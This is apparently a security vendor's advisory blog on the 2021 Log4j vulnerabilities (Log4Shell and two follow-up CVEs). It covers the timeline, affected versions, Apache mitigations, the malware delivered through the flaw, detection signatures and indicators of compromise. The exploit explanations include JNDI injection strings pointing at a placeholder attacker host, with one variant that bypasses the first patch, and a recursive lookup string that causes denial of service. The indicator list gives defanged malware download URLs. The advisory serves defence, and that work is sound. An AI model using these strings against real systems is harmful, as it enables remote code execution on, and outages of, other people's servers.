Critical Apache Log4j Vulnerability Updates

Beginning December 9^th, most of the internet-connected world was forced to reckon with a critical new vulnerability discovered in the Apache Log4j framework deployed in countless servers. Officially labeled CVE-2021-44228, but colloquially known as “Log4Shell”, this vulnerability is both trivial to exploit and allows for full remote code execution on a target system. This has earned the vulnerability a CVSS score of 10 – the maximum.

On December 14^th, the Apache Software Foundation revealed a second Log4j vulnerability (CVE-2021-45046). It was initially identified as a Denial-of-Service (DoS) vulnerability with a CVSS score of 3.7 and moderate severity. Things went from bad to worse on December 16^th due to the discovery of information leaks and the remote code execution nature of the vulnerability. This promoted Apache to update the advisory and upgrade the CVSS score for this vulnerability to 9.0.

On December 18^th, a third Log4J vulnerability was discovered (CVE-2021-45105 - Apache Log4j2 does not always protect against infinite recursion in lookup evaluation). This fix was released in response to a newly discovered vulnerability that makes Log4j susceptible to a Denial-of-Service attack (DoS).

On December 19^th, a "wormable" variant of the Mirai IoT malware incorporating exploit code for CVE-2021-44228 was discovered. Various chatter on OSINT channels has discussed whether this is a "worm."

This blog describes what you need to know about the Apache Log4j vulnerabilities, including details, campaigns associated with Log4j, and an alleged “wormable” Mirai malware variant.

Affected Platforms: Any application and service that uses vulnerable version of Log4j2
Impacted Users: Any organization that uses vulnerable version of Log4j
Impact: Remote attackers gain control of the vulnerable systems
Severity Level: Critical

What is Log4j?

Log4j is an extensible, Java-based logging framework widely used by applications and services around the globe (CISA list of related software). Often, a dependency on Log4j will be two to three layers deep (a dependency of a dependency). The ubiquitous nature of Log4j is part of what makes CVE-2021-44228 so dangerous. Millions of applications, such as iCloud, Steam, and Minecraft, use Log4j for logging. An attacker simply needs to get the app to log a special string to successfully exploit this vulnerability.

Significance of Log4j Vulnerabilities

The Log4j framework provides an interface with the JNDI (Java Naming and Directory Interface), which allows a connection to an external directory service such as LDAP (Lightweight Directory Access Protocol). This forms the basis of several exploitation attempts currently seen in the wild, whereby insecure JNDI lookups potentially allow an unauthenticated, remote attacker to execute arbitrary code.

Interestingly, the initial exploit leveraging CVE-2021-44228 appears to have been created before the patch was released. According to Cloudflare, the exploit was found as early as December 1^st, nine days before the patch release. It is also worthy of a mention that Minecraft was the canary in the coalmine highlighting the problem, as it was one of the first servers to be attacked.

What Happened?

On November 24^th, Alibaba’s Cloud Security Team reported a critical vulnerability in Log4j to The Apache Software Foundation. In response, Apache published a release candidate on December 6th to address this vulnerability, which Alibaba’s Cloud Security team found insufficient. Before Apache made the necessary update, a tweet was posted on December 9^th, insinuating that abusing JNDI Lookup in Log4j can lead to remote code execution. This post appears to have triggered a maelstrom in both security and hacker communities.

The following day, Apache released Log4j 2.15.0 as an official fix. Around this time, attackers started to sniff for potential victims by scanning for vulnerable machines. On the same day, CISA released an advisory urging users and admins to upgrade Log4j to 2.15.0 as soon as possible. The advisory was followed by an Apache Log4j Vulnerability Guidance page detailing the issue.

SANS then moved their Infocon alert to yellow for the first time since the infamous WannaCry outbreak in 2017. Infocon alerts intend to reflect changes in malicious traffic and the possibility of disrupted connectivity and apply to the condition of the Internet infrastructure. Infocon has only previously been elevated to yellow status for severe incidents, such as Heartbleed and Shellshock (both in 2014), which signifies the severity of Log4Shell.

The situation worsened on December 14^th, when Apache released Log4j 2.16.0 due to an insufficient fix in the previous release. This second vulnerability, labeled CVE-2021-45046 (with a CVSS score of 3.7), causes a Denial of Service (DoS) condition when successfully exploited. Threat actors wasted no time leveraging Lo4Shell by deploying new malware and potentially unwanted programs (PUAs) to compromise vulnerable machines.

On December 16^th, Apache upgraded the CVSS score for CVE-2021-45046 from 3.7 to 9.0. Further investigation revealed that an information leak and remote code execution in some environments and local code execution in all environments could be achieved due to successful exploitation. The Severity was also changed from moderate to critical.

Log4j version 2.17.0 was released on December 18^th in response to another Log4j vulnerability. Labeled CVE-2021-45105, the newest security hole is a Denial-of-Service vulnerability with a CVSS score of 7.5 and is rated as High by Apache.

How does the exploit work - CVE-2021-44228?

1. Once a target has been selected, an attacker adds a JNDI query to a connection request to that target in a field that is likely to get logged via Log4j. For example:  “${jndi:ldap://malicious-server.host/aaa}”
2. A vulnerable version of Log4j then takes that request and attempts to contact “malicious-server.host” with an LDAP query.
3. Should the connection be successful, the “malicious-server.host” under the attacker's control replies to the query by inserting a malicious Java class file location into the directory data.
4. The Java implementation on the target then downloads the malicious Java class file and executes it.

How does the remote code execution exploit work - CVE-2021-45046?

1. Once a target has been selected, an attacker adds a JNDI query to a connection request to that target in a field that is likely to get logged via Log4j. Due to the fix for CVE-2021-44228 in Log3j 2.15.0, remote JNDI queries are no longer permitted by default.  Therefore, this can be worked around using the following as an example:  “${jndi:ldap://127.0.0.1#malicious-server.host/aaa}”
2. Version 2.15.0 of Log4j will view the request as valid due to localhost being present before the “#”; however, the framework will still resolve the entire string and attempt to contact “malicious-server.host” with an LDAP query.
3. Should the connection be successful, the “malicious-server.host” under the attacker's control replies to the query by inserting a malicious Java class file location into the directory data.
4. The Java implementation on the target will then download the malicious Java class file and execute it.

How does the Denial of Service (DoS) exploit work - CVE-2021-45105?

This vulnerability is not considered part of Log4Shell. This will be more complex to execute because an attacker would need to have knowledge and control over lookup commands (e.g., via the Thread Context Map).  The vulnerability is an infinite recursion so a successful exploit would result in a Denial-of-Service (DoS) attack.

1. To take advantage of this, the vulnerable (or malicious) application will need to use a Context Map Lookup with a custom pattern layout.
   
2. A log line can be crafted in such a way that when it is triggered, an infinite loop condition is triggered thereby creating a denial of service through the exhaustion of resources.

e.g. logger.info("Example log line {}", "${${::-${::-$${::-j}}}}");

Have attacks leveraging CVE-2021-44228 and CVE-2021-45046 increased?

FortiGuard Labs saw a steady increase in the detection of attacks using our IPS signature, which covers both CVE’s - “Apache.Log4j.Error.Log.Remote.Code.Execution” - up until December 15^th. 

What versions of Log4j are vulnerable?

• CVE-2021-44228: All Log4j versions from 2.0-beta9 through 2.12.1, and 2.13.0 through 2.14.1 (also includes 2.15.0-rc1) are vulnerable.
• CVE-2021-45046: Log4j versions from 2.0-beta9 through 2.15.0
  
• CVE-2021-45105: Log4j versions from 2.0-beta9 to 2.16.0
  

Have these vulnerabilities been patched?

Yes, Java 8 or later users are advised to update to Log4j 2.17.0 as soon as possible. However, due to the incompleteness of the fix offered in 2.15.0, Apache released subsequent Log4j versions 2.16.0, 2.17.0 which users are strongly advised to apply.

For Java 7, users should upgrade to version 2.12.2.

Has the vendor provided any mitigations?

Yes, Apache has provided the following mitigation information for Log4Shell (CVE-2021-44228):

Log4j 1.x mitigation: Log4j 1.x does not have Lookups, so the risk is lower. Applications using Log4j 1.x are only vulnerable to this attack when using JNDI in their configuration. A separate CVE (CVE-2021-4104) has been filed for this vulnerability. To mitigate: audit your logging configuration to ensure it has no JMSAppender configured. This vulnerability does not impact Log4j 1.x configurations without JMSAppender.

Log4j 2.x mitigation: Implement one of the mitigation techniques below.

Java 8 (or later) users should upgrade to release 2.16.0.
Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon).

Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Note that this vulnerability impacts only the log4j-core JAR file. Applications using only the log4j-api JAR file without the log4j-core JAR file are not affected by this vulnerability.

Apache has provided the following mitigation information for CVE-2021-45046:

Log4j 1.x mitigation
Log4j 1.x is not impacted by this vulnerability.

Log4j 2.x mitigation
Implement one of the following mitigation techniques:

Java 8 (or later) users should upgrade to release 2.16.0.
Java 7 users should upgrade to release 2.12.2.
Otherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Users are advised not to enable JNDI in Log4j 2.16.0. If the JMS Appender is required, use Log4j 2.12.2.

Note that this vulnerability impacts only the log4j-core JAR file. Applications using only the log4j-api JAR file without the log4j-core JAR file are not affected by this vulnerability.

Also, note that Apache Log4j is the only Logging Services subproject affected by this vulnerability. This does not impact other projects like Log4net and Log4cxx.

Apache has provided the following mitigation information for CVE-2021-45105:

Log4j 1.x mitigation
Log4j 1.x is not impacted by this vulnerability.

Log4j 2.x mitigation
Implement one of the following mitigation techniques:

Java 8 (or later) users should upgrade to release 2.17.0. Alternatively, this can be mitigated in the configuration:

In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).

Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.

Note that this vulnerability impacts only the log4j-core JAR file. Applications using only the log4j-api JAR file without the log4j-core JAR file are not affected by this vulnerability.

Also, note that Apache Log4j is the only Logging Services subproject affected by this vulnerability. This does not impact other projects like Log4net and Log4cxx.

Does Fortinet protect against exploit attempts?

Yes, Fortinet released IPS signature “Apache.Log4j.Error.Log.Remote.Code.Execution”, with VID 51006 to block exploit attempts for both CVE-2021-44228 and CVE-2021-45046. This signature was initially released in IPS package version 19.215. FortiGuard Labs provides IPS signature “Apache.Log4j.Error.Log.Thread.Context.DoS” against CVE-2021-45105.

What malware and potentially unwanted applications(PUA) were observed to have been deployed via attacks leveraging Log4Shell?

Malware such as Khonsari ransomware, Kinsing, Mirai, Muhstik, Elknot, m8220, Orcus RAT, XMRig, SitesLoader, and Nanocore RAT are all reported to have been delivered in these subsequent attacks. A video was also posted showing that it is possible to run the first-person shooting game Doom on a Minecraft server by abusing the vulnerability.

Below are short descriptions of each malware type:

Khonsari ransomware

Khonsari is ransomware that encrypts files in specific folders on compromised machines and demands a ransom to decrypt them. It is called Khonsari because it adds .khonsari file extension to the files it encrypts.

Kinsing

Kinsing is malware written in Go that runs a cryptominer and attempts to propagate within the compromised environment. Kinsing has been around as early as January 2020.

Mirai

Mirai is multi-architecture Linux-based malware. Initially deployed on exposed networking devices, it is increasingly being used against IoT (Internet of Things) devices. Once infected, a compromised device becomes a bot that is absorbed into a botnet (a collection of bots). These botnets are primarily used for Distributed Denial of Service (DDoS) attacks.

FortiGuard Labs previously posted blogs on Mirai malware:

• MANGA aka Dark Mirai-based Campaign Targets New TP-Link Router RCE Vulnerability
• The Ghosts of Mirai
• Mirai Botnet ­: Protect Your Infrastructure with FortiDDoS

Elknot

Also known as BillGates, this was initially only a Linux-based malware. However, it has since been ported to Windows. The malware is used to launch Distributed Denial of Service (DDoS) attacks.

m8220

m8220 is a mining botnet for Windows and Linux platforms.

Muhstik

Muhstik is Linux malware that turns a compromised machine into a bot and is known to exploit vulnerabilities for propagation. One of the notable vulnerabilities exploited by Muhstik is Atlassian.Confluence.CVE-2021-26084.Remote.Code.Execution (CVE-2021-26084).

FortiGuard Labs previously posted a blog on Muhkstik:

• Recent Attack Uses Vulnerability on Confluence Server

Orcus RAT

Orcus is a Remote Access Trojan (RAT) that has been heavily advertised and sold in underground forums since at least 2016. Although a Canadian software developer was arrested for creating and selling the RAT in 2019, Orcus RAT is in use today as its source code was leaked. As a RAT, it performs various actions on a compromised machine via commands received from its Command and Control server (C&C).

SitesLoader

The shell script dropper below downloads a UPX packed Go binary from http://103.104.73.155:8080/index . This binary is also an XMRig crypto miner.

XMRig

XMRig is an open-source cryptomining software that is used to mine Monero cryptocurrency. While XMRig is a legitimate software, it is often abused by threat actors to illegally mine Monero on the compromised machine.

Nanocore RAT

Nanocore is a modular Remote Access Trojan (RAT) that has been around since 2013. The RAT was available for purchase and cracked versions were leaked online. Nanocore performs typical RAT activities on the compromised machine, such as data exfiltration, keylogging, hijacking the webcams, and capturing screenshots.

Has any Malware Incorporated the Recent Log4j Exploits for Propagation?

FortiGuard Labs is aware of an online report that a variant of Mirai performs propagation by exploiting the Log4Shell vulnerability as such is a worm.

Our analysis concludes that this Mirai variant is equipped with the Log4Shell exploit and CVE-2017-17215, a remote code execution vulnerability in Huawei HG532 routers, and does not exhibit worm-like functionality.

So, while our findings reveal that, like a worm, it can propagate, what makes it not a worm is that the botmaster controls all instructions. This is because it relies on an external resource for propagation and instruction. The botmaster also has the luxury of turning on and off scans.

FortiGuard Labs detects this Mirai variant by AV as ELF/Mirai.VI!tr.

FortiGuard Labs provides IPS coverage against CVE-2017-17215 as “Huawei.HG532.Remote.Code.Execution”.

For FortiEDR, all known samples have been added to our cloud intelligence and will be blocked if executed.

Has Fortinet released any publications regarding the recent Log4j vulnerabilities?

Yes, Fortinet has released several publications since the issue came to light. Below is the list of released publications:

• Log4j2 Vulnerability (Outbreak Alert)
• Apache Log4J Remote Code Execution Vulnerability (CVE-2021-44228) (Threat Signal)
• New Log4j Vulnerability (CVE-2021-45046) Results in Denial of Service (Threat Signal)
• Log4j 2.17.0 Released In Response to New Log4j Vulnerability (CVE-2021-45105) (Threat Signal)
• Mirai Malware that Allegedly Propagates Using Log4Shell Spotted in the Wild (Threat Signal)
• Apache log4j2 log messages substitution (CVE-2021-44228) (PSIRT advisory)
• CVE-2021-44228 - Apache Log4j Vulnerability (PSIRT blog)
• Apache.Log4j.Error.Log.Remote.Code.Execution (Threat Encyclopedia)
• Technical Tip: How FortiEDR protects against the exploitation of Log4shell (FortiEDR)

Conclusion

The Log4j vulnerabilities had a significant global impact similar to previous major threats, such as Wannacry, Heartbleed, and Shellshock. Because it is deployed so widely, the after-effects of this vulnerability are expected to last for some time as so many enterprise applications and cloud services require updating. While the world has not yet seen any massive malware delivery events (i.e., a major ransomware outbreak, wormable events) that leverage the Log4j vulnerabilities, history tells us not to let our guard down, especially since the holiday season, when threat-actors typically become more active, is fast approaching.

FortiGuard Labs will continue to actively monitor the situation for further insights and provide additional information about protections as they become available.

Fortinet Protections and Mitigations

FortiGuard Labs provides the following IPS signatures against CVE-2021-44228 (Log4Shell), CVE-2021-45046 and CVE-2021-45105:

• Apache.Log4j.Error.Log.Remote.Code.Execution (CVE-2021-44228 and CVE-2021-45046)
• Apache.Log4j.Error.Log.Thread.Context.DoS (CVE-2021-45105)
  

Visit Outbreak Alert for more information on how Fortinet protects users from Log4Shell.

FortiGuard Labs provides the following AV protection against malware, potentially unwanted programs (PUA), and other files involved as the following:

• MSIL/Filecoder.ANF!tr.ransom (Khonsari ransomware)
• BASH/CoinMiner.RZ!tr (kinsing)
• ELF/CoinMiner.CFA!tr (kinsing)
• ELF/Ganiw.A!tr (Elknot)
• Linux/Mirai.B!tr.bdr (Mirai)
• Linux/Tsunami.NCD!tr (Mirai)
• Adware/Tsunami (Mirai)
• ELF/DDoS.CIA!tr (Muhstik)
• BASH/Miner.BO!tr.dldr (m8220)
• Java/khonsari.DF40!tr (Orcus RAT)
  
• BASH/Miner.UF!tr (SitesLoader)
• Adware/Miner (SitesLoader)
• BASH/Agent.ACA8!tr.dldr
• Riskware/CoinMiner.PO (XMRig)
• Riskware/CVE202144228 (XMRig)BAT/Agent.Q!tr.dldr (XMRig)
• W32/GenKryptik.FBSU!tr (Nanocore RAT)
  

All network IOCs are blocked by the WebFiltering client.

Additionally, FortiGuard Labs provides the following AV coverage against older variants of malware that are delivered via Log4Shell: 

Kinsing
BASH/Agent.KG!tr
BASH/CoinMiner.AKT!tr
BASH/Miner.DB!tr
W64/CoinMiner.QG!tr
BASH/CoinMiner.RZ!tr

Mirai
ELF/Mirai.[random alphabets]
ELF/Mirai.[random alphabets]!tr
Linux/Mirai[random alphabets]!tr

Elknot
Linux/Elknot.[random alphabets]!tr
ELF/Elknot.[radom alphabets]!tr

Orcus RAT
W32/OrcusRAT.[random alphabets]
W32/Orcus.[random alphabets]!tr
W32/Orcus.[random alphabets]!tr.bdr

Muhstik
ELF/DDoS.CIA!tr
BASH/Agent.MQ!tr
Adware/Tsunami
ELF/CoinMiner.CFA!tr
ELF/BitCoinMiner.HF!tr
BAT/Starter.NZ!tr
BASH/CoinMiner.RZ!tr

XMRig
W32/XMRigMiner
Riskware/XMRig_Miner
W32/XMRig_Miner.[random alphabets]!tr
Riskware/XMRigCoinMiner
W32/XMRig_Miner.[random alphabets]
Linux/XMrig.[random alphabets]!tr.dldr
MSIL/XMRig_Miner.VC!tr
W32/XMRigMiner.WIN64!tr
W64/XMRigMiner.WIN64!tr
W32/XMRig_Miner.ELF64!tr
W32/XMRig_Miner.SMBM4!tr

Nanocore RAT
W32/Backdoor_MSIL_NANOCORE.BA!tr
W32/NANOCORE.[random alphabets]!tr.bdr
W32/NanoCore.[random alphabets and numbers]!tr
Data/Nanocore.[random alphabets!tr
W32/Backdoor_MSIL_NANOCORE.SMIL
MSIL/NanoCore.[Random alphabets and numbers]!tr
Adware/NanoCore
Adware/Backdoor_MSIL_NANOCORE

Apache has also provided mitigation advice for users of earlier versions, as described above.

IOCs
SHA-256 Hash
f2e3f685256e5f31b05fc9f9ca470f527d7fdae28fa3190c8eba179473e20789 (Khonsari ransomware)
6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b (Kinsing)
7e9663f87255ae2ff78eb882efe8736431368f341849fec000543f027bdb4512 (Kinsing)
8933820cf2769f6e7f1a711e188f551c3d5d3843c52167a34ab8d6eabb0a63ef (Kinsing)
bcfdddb033fb1fa9c73e222919ecd4be071e87b0c54825af516b4f336bc47fa2 (Elknot)
0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049 (Mirai)
19370ef36f43904a57a667839727c09c50d5e94df43b9cfb3183ba766c4eae3d (Mirai)
2a4e636c4077b493868ea696db3be864126d1066cdc95131f522a4c9f5fb3fec (Mirai)
15e7942ebf88a51346d3a5975bb1c2d87996799e6255db9e92aed798d279b36b (Muhstik)
10fad59b071db09aafcb7f40e775f28180aed182786557e9ee7f2f2e332b4513 (m8220)
86fc70d24f79a34c46ef66112ef4756639fcad2f2d7288e0eeb0448ffab90428 (Orcus RAT)
e7c5b3de93a3184dc99c98c7f45e6ff5f6881b15d4a56c144e2e53e96dcc0e82 (SitesLoader)
f059246cea87a886acb1938809cf4a1152247a5b5a2df0b1bf64c46a0daccbcc (SitesLoader)
3e6567dab5e7c7c42a02ac47e8c68f61c9c481bbbbe5ddb1c68e86f7370dab45 (XMRig)
95ac2e2cd2caf30829a9588988601067a98f9bb02e0776a8ef2b813f9b4d8992 (XMRig)
e8b2a8d0c3444c53f143d0b4ba87c23dd1b58b03fd0a6b1bcd6e8358e57807f1 (XMRig)
bd5006ba4e4cfcf8a8b0b6da5bb30f4dd8a78beb351b814431ae8599dcf23f1b (Nanocore RAT)
e9744244461056c64fc390591729c035f3a375bc8ecfa1a0c111defa055c1273 (Mirai variant with alleged worm capability)

URLs
3[.]145.115.94/zambo/groenhuyzen[.]exe
3[.]145.115.94/zambos_caldo_de_p.txt
hxxp://3[.]145.115.94/main.class
hxxp://45[.]137.155.55/kinsing
hxxp://45[.]137.155.55/kinsing2
hxxp://80[.]71.158.12/kinsing
hxxp://80[.]71.158.44/kinsing
hxxp://82[.]118.18.201/kinsing
hxxp://92[.]242.40.21/kinsing
hxxp://93[.]189.42.8/kinsing
hxxp://92[.]242.40.21/lh2.sh
hxxp://45[.]137.155.55/ex.sh
hxxp://155[.]94.154.170/aaa
hxxp://138[.]197.206.223/wp-content/themes/twentysixteen/dk86
hxxp://34[.]221.40.237/.x/pty5
hxxp://34[.]221.40.237/.x/pty9
nazi[.]uy
hxxp://agent[.]apacheorg.xyz:1234/v
hxxp://185[.]250.148.157:8005/index
hxxp://103[.]104.73.155:8080/acc
hxxp://129[.]226.180.53/xmrig_setup/raw/master/setup_c3pool_miner.sh
hxxp://download[.]c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.sh
hxxp://54[.]210.230.186/wp-content/themes/twentyfourteen/xmrig.exe
hxxp://198[.]98.60.67/bins/x86
hxxp://198.98.60.67/bins/arm
hxxp://198.98.60.67/lh.sh

Thanks to Paolo Di Prodi and Arturo Erick Torres Cavazos, who helped contribute to this blog.

Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio.